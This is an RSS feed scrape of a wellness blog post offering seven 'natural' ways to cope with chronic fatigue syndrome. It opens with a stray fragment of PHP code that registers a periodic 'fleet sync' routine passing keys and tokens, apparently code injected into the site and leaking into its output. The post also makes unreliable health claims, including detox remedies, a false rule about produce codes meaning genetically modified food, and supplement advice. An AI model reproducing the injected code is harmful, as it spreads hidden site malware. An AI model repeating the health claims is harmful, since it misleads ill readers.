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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Physical Health Archives - Blissfully Healing https://blissfullyhealing.com/category/physical-health/ In search of life, meaning, and balance Sat, 10 Jul 2021 12:41:36 +0000 en-US hourly 1 https://wordpress.org/?v=7.1 https://blissfullyhealing.com/wp-content/uploads/2022/01/cropped-blissfully-healing-pinterest-profile-1-32x32.jpg Physical Health Archives - Blissfully Healing https://blissfullyhealing.com/category/physical-health/ 32 32 139782009 7 Natural Ways to Survive Chronic Fatigue Syndrome https://blissfullyhealing.com/7-natural-ways-to-survive-chronic-fatigue-syndrome/ Thu, 31 Jan 2019 01:09:59 +0000 https://blissfullyhealing.com/?p=1212 A few days ago my chronic fatigue hit! Not just hit, but crept up on me and sucker punched me with a knockout. Suddenly my energy was back to its norm, non-existent. My aches and pains were doubled in intensity …

The post 7 Natural Ways to Survive Chronic Fatigue Syndrome appeared first on Blissfully Healing.

]]> A few days ago my chronic fatigue hit!

Not just hit, but crept up on me and sucker punched me with a knockout.

Suddenly my energy was back to its norm, non-existent. My aches and pains were doubled in intensity and my ability to function was very low.

I was once again calculating how to get from my bedroom to the kitchen to warm up food and how to get from my bedroom to the bathroom. Let’s just say, I calculated a shower for days before I was actually able to take it, but it required a significant amount of prep and a significant amount of recover time.

So here I am again, wondering what in the world I had been doing that made my chronic fatigue syndrome manageable, and where I went wrong?

By manageable I mean, functional until around 1 pm when I would need a 2-hour nap to get through the rest of the day, wake up at 3pm and sleep by 9pm.

Photo by Lisa Hobbs on Unsplash

Now I need to get back into bed at around 10am(that is being generous with time, it’s more like 9:32, 9:48) and even a nap doesn’t give me enough energy to manage through the day. So I spend my day in bed resting so I can be able to do the basics of my life like doctors appointments, cook and use the bathroom.

It has been about 3 months since I was in this depth of fatigue and once it hit again I started asking myself what I had done before and during that three months that set me up for a manageable chunk of time.

1. Fight Inflammation:

I once read that where there is fatigue, there is inflammation, which completely changed how I looked at fatigue. I know that I have issues with inflammation (flare-ups, fever outbursts, brain fog) but I did not realize that my chronic fatigue was also an indication of inflammation. Sadly, for me, this means that I am always inflamed.

How?:

  • Increase detox (Epsom salt and bentonite clay baths, steam room or sauna, take chlorella tablets, drink detox juices and smoothies etc)
  • Watch your toxic intake load (watch out for mold, voc’s, gmo’s, hormones and antibiotics in foods, toxic ingredients in daily household products etc)
  • increase omega 3 foods and supplements,
  • shift to an anti-inflammatory diet (preferably an organic one)
  • Watch your carbohydrate and sugar intake
  • Do your best to reduce and manage your physical and emotional stressors
  • Drink anti-inflammatory teas on a daily basis
    • This is my daily ammo. I alternate between turmeric, tumeric-ginger and peppermint tea through the day. I have missed some days and on those days I realized just how much of a difference this routine makes on my inflammation and pain levels.

2. Diet:

Part of fighting inflammation and maintaining the right amount of energy is eating right.

Food is fuel. aaannndddd … Food is medicine.

What you ingest helps or hinders your body’s ability to create the energy it needs. So eating a balanced diet (whatever that means for you) is extremely important.

My body has been fighting food and I have become intolerant and inflammatory to almost everything but lean meat and seafood.

Regardless of what type of eating program you are on, make sure that each meal is balanced. So make sure you have a significant amount of protein, paired with healthy carbohydrates and fats.

Now I know that fatigue in itself can create a challenge in eating right, I mean if you dont have enough energy to make it to the kitchen, where will you muster up the willpower to fight your junk food and sugar cravingss.

But this point matters.

What you eat affects your energy levels and inflammation, and your inflammation affects your fatigue, brain fog, pain levels, and swelling etc etc.

How?

  • Remove caffeine, gluten, sugar, processed and other inflammatory foods
  • Eat clean (focus on fruits and vegetables that have not been grown with pesticides or gmos.)
    • Read the barcode on your fruits and vegetables
      • If it starts with a 4xxx it was grown with pesticides
      • If it starts with an 8xxxx it was genetically modified
      • If it starts with a 9xxxx, it is organic.
    • Food is the body’s fuel and tainted fuel will limit the quality and type of our energy.
  • Increase protein intake (protein facilitates the slow release of energy)
    • Carbohydrates and fats are excellent sources of energy, but the amount of protein you intake dictates the release and stability of that energy.
    • Without protein, the food you ingest will give you energy, sometimes an obscene amount in a short period of time, then a crash.
      • For me, this means being extremely jittery, light headed and nauseous, then extremely tired in a very short period of time.

3. B-12 shots

I read numerous accounts of chronic fatigue syndrome sufferers who have benefitted from B-12 shots and also found a number of research articles of studies done on the topic.

According to a study conducted at the Institute of Neuroscience and Physiology at Sweden’s Gothenburg University, the methylcobalamin version of B-12 shots combined with regular doses of folic acid increase energy and reduce fatigue and other symptoms caused by chronic fatigue syndrome.

So I tried it and it worked like magic.

Frequency: There are numerous opinions of how often the shots should be taken, but it’s all a matter of what works for you. It also depends on the strength of the dose you take.  But it is definitely worth considering.

4.Detox

Toxins such as VOCs, mold, pesticides in our food, heavy metals, and toxins in household cleaning products significantly tax our systems and make it very difficult for our natural detoxifying system to do its job and clean out the body properly.

Basically, it’s as though you are trying to clean mud-covered floors with a tiny toothbrush, but the mud keeps flowing in.

When you have an overabundance of toxins in your system, your detox agents can only do so much, so you will need to help them out.

  • How: Increase detox baths or foot soaks
  • Help the liver by taking a liver-care or liver support
  • Take a strong detox agent like chlorella (this also significantly helps reduce inflammation)

5. Proper Sleep

Nap

Now there are discussions that support naps and some that do not.

Some chronic fatigue clinics encourage chronic fatigue patients to push through the day (with increased rest) so that they can have qualitative sleep at night.

For some this advice works, but for someone like me, skipping a nap actually sets me up for a very bad night followed by an unmanagemable day. If I don’t nap, I have insomnia.

Basically, what I would advice you is to figure out what works for you.

If pushing through the day works for you. I must stress that make sure when the slump starts to hit you take rest, by that I mean, slow your pace, just lay down and let your body muster up some energy, but make sure that you do not force your body because it will burn out, which might lead to a flare-up and other symptoms, which might need days to recover from.

Sleep early

The biggest gift you can give yourself when you have chronic fatigue is proper night’s sleep.

First, You need to make sure that you have the proper support for proper sleep. This means getting the right sleeping situation, mattress/bed, sleeping on the floor, couch, whatever works for you.

If you are mattress shopping, just make sure your mattress has not been sprayed with voc’s which will increase your inflammation, fatigue and cause other health problems.

Second, set up a proper sleep schedule and support it.

Whether this means taking a nap or not, shutting down all electronics an hour or 2 before sleeping or having a sleep routine (brushing your teeth, washing your face, gentle yoga, meditation, reading) that primes your mind and body for sleep.

Third, set a sleep hour.

For me this means I sleep between 9 and 10pm.

Telling myself I need to sleep by 9 or 10 freaks me out and I start panicking when the time arrives. Granted sometimes I start getting ready for bed at 8 pm but allowing myself an hour gives me time to do my sleep routine and lay down in the dark if insomnia is bugging me.

6. Exercise:

Now this is a tricky one.

There is a need for exercise to reduce chronic fatigue syndrome symptoms, but there is also a limit to how much your body can handle depending on your situation.

At the moment I have been reduced to a very gentle and short yoga sequences in the morning followed by a walk.

I struggle with depression and occasionally I have a serious need for exertion that is not fulfilled by my gentle yoga and walk routine.

So a few weeks ago I convinced myself that I would be ok working out “for real” like I used to do and boy did I pay for it. (I love working out, I am one of those people that can spend 3 to 5 hours in the gym without feeling that I have spent that much time working out.)

Granted, while working out I felt like I was on the top of the world, and perhaps I pushed a lot more that I should have. (I ended up doing a 10-minute walk, 45-minute RUN and a 10-minute walk.)

When I got going with that run and caught that rhythm… aaaaaahhhhh. But I spent the next three days in bed swollen to my face. My face was swollen!!!

Here is what I have learned with my body, as inflammation goes down, my capability to handle for rigorous forms of exercise increases. But as long as inflammation is lurking, I have to keep to a gentle exercise routine.

But I do need a daily exercise routine to manage my symptoms.

7.Supplements:

I literally live on pills.

As my body becomes more resistant to foods and other things, I find that I need to increase the supply of supplements to help me function. These are the supplements I have found that help with chronic fatigue.

  1. Probiotics
  2. Adrenal support
  3. Vitamin D
  4. L-Carnitine
  5. Quercetine
  6. Potassiam and megnesium
  7. Adult B complex

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